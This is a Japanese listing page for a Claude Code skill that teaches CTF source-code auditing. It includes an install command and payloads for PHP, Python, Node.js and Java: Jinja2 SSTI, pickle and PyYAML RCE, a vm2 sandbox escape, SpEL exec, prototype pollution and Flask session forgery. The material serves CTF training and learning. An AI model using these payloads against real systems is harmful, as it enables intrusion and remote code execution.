ctf-source-audit について
CTF 参加者向けのソースコード監査手法スキルです。意図的な脆弱性を含む短いコードを対象に、言語・フレームワーク別の危険な関数、入力追跡、典型的な脆弱性パターンを整理します。
主な機能
- 01言語とフレームワークの素早い識別
- 02危険な関数と入力元の特定
- 03フィルターと回避可能性の追跡
- 04PHP、Python、Node.js、Java に対応
- 05監査結果の整理項目
活用シーン
- 01CTF で提示されたアプリのソース確認
- 02危険な関数からユーザー入力を追跡
- 03デシリアライズ、インジェクション、変数上書きの分析
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill ctf-source-auditインストール後、Claude Code で/ctf-source-auditを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
evals/evals.jsonrecall.jsonreferences/dangerous-functions.md詳細
CTF ソースコード監査の方法論
CTF ソースコード監査 ≠ 実際のコード監査。違い:
- 実際の監査:数万行のコードがあり、脆弱性はどこにあるか分かりません
- CTF 監査:数十〜数百行のコードで、脆弱性は意図的に仕込まれており、通常は明白です
基本戦略:危険な関数(sink)を見つけ、入力(source)から危険な関数までの経路をたどります。
⛔ 詳細な参考資料(必読)
- PHP/Python/Node.js/Java の危険な関数の完全な一覧と脆弱性パターン → references/dangerous-functions.md
Phase 1: 言語とフレームワークを素早く特定する
| 特徴 | 言語/フレームワーク |
|---|---|
.php ファイル、<?php | PHP |
app.py、from flask、import django | Python (Flask/Django) |
package.json、require()、app.js | Node.js (Express) |
pom.xml、.java、@Controller | Java (Spring) |
go.mod、func main() | Go |
Phase 2: 監査手順
2.1 危険な関数を素早く特定する
| 言語 | コマンド実行 | デシリアライズ | テンプレートインジェクション | ファイル操作 |
|---|---|---|---|---|
| PHP | system() eval() exec() passthru() | unserialize() | N/A | include() file_get_contents() |
| Python | os.system() eval() exec() subprocess | pickle.loads() yaml.load() | render_template_string() | open() |
| Node.js | child_process.exec() eval() | N/A | EJS/Pug inject | fs.readFile() |
| Java | Runtime.exec() ProcessBuilder | ObjectInputStream | SpEL/FreeMarker | FileInputStream |
→ 危険な関数の完全な一覧 → references/dangerous-functions.md
2.2 データフローを追跡する(sink → source)
- パラメーターはどこから来ていますか? —
$_GET、request.args、req.body、@RequestParam - フィルター処理はありますか? —
filter、sanitize、escape、replace、blacklistを検索 - フィルターは回避できますか? — CTF では回避方法があることがよくあります(ブラックリストの漏れ、二重エンコード、大文字・小文字、配列による回避)
2.3 監査結果
- 脆弱性の種類と場所(ファイル名+行番号)
- 悪用方法(どのようなリクエストを作成すれば発動するか)
- Flag の取得経路
Phase 3: PHP でよくある脆弱性パターン
弱い比較 (== vs ===)
// 0e 开头的字符串在 == 比较时被当作科学计数法,等于 0
if ($_GET['password'] == '0e123456') { ... } // 输入 "0" → true
if (md5($a) == md5($b)) { ... } // 找两个 md5 以 0e 开头的值
// 0e MD5 碰撞值:
// md5("240610708") = 0e462097431906509019562988736854
// md5("QNKCDZO") = 0e830400451993494058024219903391
// md5("s878926199a") = 0e545993274517709034328855841020
// 数组绕过 ===
if ($a != $b && md5($a) === md5($b)) { ... }
// md5(array) 返回 NULL → a[]=1&b[]=2
変数の上書き
extract($_GET); // GET 参数覆盖任意变量
parse_str($str); // 解析字符串为变量(无第二个参数时)
$$key = $value; // 可变变量
// 利用:?admin=1 覆盖 $admin 变量
PHP の型ジャグリング
// intval() 截断
intval("123abc") === 123 // 非数字部分被忽略
intval("0x1A") === 0 // PHP 7 不解析 hex(PHP 5 可以)
// is_numeric() 绕过
is_numeric("0x539") → true (PHP 5)
is_numeric("1e5") → true // 科学计数法
// in_array() 松散比较
in_array(0, ['a','b','c']) → true // 0 == 'a' 在松散比较中为 true(PHP 7 以下)
// 修复:in_array(0, ['a','b','c'], true) 第三个参数=strict
preg_replace /e (PHP < 7.0)
preg_replace('/.*/e', 'system("id")', ''); // /e 修饰符执行替换结果
デシリアライズ POP チェーン
__wakeup()、__destruct()、__toString() のマジックメソッドを検索し、連鎖的な呼び出しを構成します。
// __wakeup 绕过:序列化字符串中属性个数大于实际值
O:4:"User":3:{...} // 实际只有 2 个属性,写 3 → 跳过 __wakeup
// 适用 PHP 5.x - 7.0.10
Phase 4: Python でよくある脆弱性パターン
Flask セッションの偽造
# 如果知道 SECRET_KEY,可以伪造 Flask session
# 工具:flask-unsign
flask-unsign --decode --cookie 'SESSION_COOKIE'
flask-unsign --sign --cookie "{'user':'admin'}" --secret 'SECRET_KEY'
# SECRET_KEY 泄露路径:
# - 源码中硬编码
# - /proc/self/environ 中的环境变量
# - config.py / .env 文件
Werkzeug Debug PIN の計算
# 当 Flask DEBUG=True 时,/console 需要 PIN
# PIN 计算因素(全部可通过 LFI 获取):
# 1. username: /etc/passwd 中运行 Flask 的用户
# 2. modname: 通常是 "flask.app"
# 3. appname: 通常是 "Flask"
# 4. modpath: flask/app.py 的路径 → /proc/self/cmdline + find
# 5. MAC 地址: /sys/class/net/eth0/address → 转十进制
# 6. machine-id: /etc/machine-id + /proc/self/cgroup (Docker)
# 计算脚本见 ctf-web-methodology 的 server-side-advanced.md
SSTI (Jinja2)
render_template_string(user_input) # 危险!
# 检测:{{7*7}} → 49
# RCE:{{lipsum.__globals__.__builtins__.__import__('os').popen('id').read()}}
Pickle デシリアライズによる RCE
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('cat /flag.txt',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
PyYAML の安全でないロード
yaml.load(data) # 不安全!需要 yaml.safe_load()
# payload: !!python/object/apply:os.system ['cat /flag.txt']
Phase 5: Node.js でよくある脆弱性パターン
プロトタイプチェーン汚染
// 危险函数:Object.assign(), _.merge(), _.set(), 递归合并
// payload: {"__proto__":{"isAdmin":true}}
// 或: {"constructor":{"prototype":{"isAdmin":true}}}
// 利用场景:
// 1. 修改 Object.prototype 影响全局
// 2. 覆盖已有属性(role: admin)
// 3. RCE:污染 child_process 的 env/shell
require() のパストラバーサル
// 如果用户控制 require() 参数
require('../../../etc/passwd'); // 虽然不执行但可泄露错误信息
require('/proc/self/environ');
eval() / vm からの脱出
// vm2 沙箱逃逸(多个 CVE)
const {VM} = require("vm2");
const vm = new VM();
vm.run('this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()');
Phase 6: Java でよくある脆弱性パターン
SpEL インジェクション (Spring)
// 如果用户输入被嵌入 SpEL 表达式
// 检测:${7*7} → 49 或 #{7*7} → 49
// RCE:
#{T(java.lang.Runtime).getRuntime().exec("id")}
XXE (Java XML 解析)
Java の XML パーサーはデフォルトで外部エンティティを無効化しません(手動で設定する必要があります)。そのため、XXE が発生しやすい領域です。
デシリアライズ(ObjectInputStream)
ObjectInputStream.readObject() を検索し、ysoserial と組み合わせてペイロードを生成します。
注意事項
- CTF のソースコードは通常短い(<200行)ため、複雑なツールは使わず、手動で監査すれば十分です
flag、secret、adminのキーワードを優先的に検索します- コメント内のヒントに注意します(CTF の出題者が手がかりを残していることがあります)
- 複数ファイルのプロジェクト:まずルート(
app.py/index.php/app.js)を確認し、次にコントローラーのロジックを確認します
コメント
Markdown 対応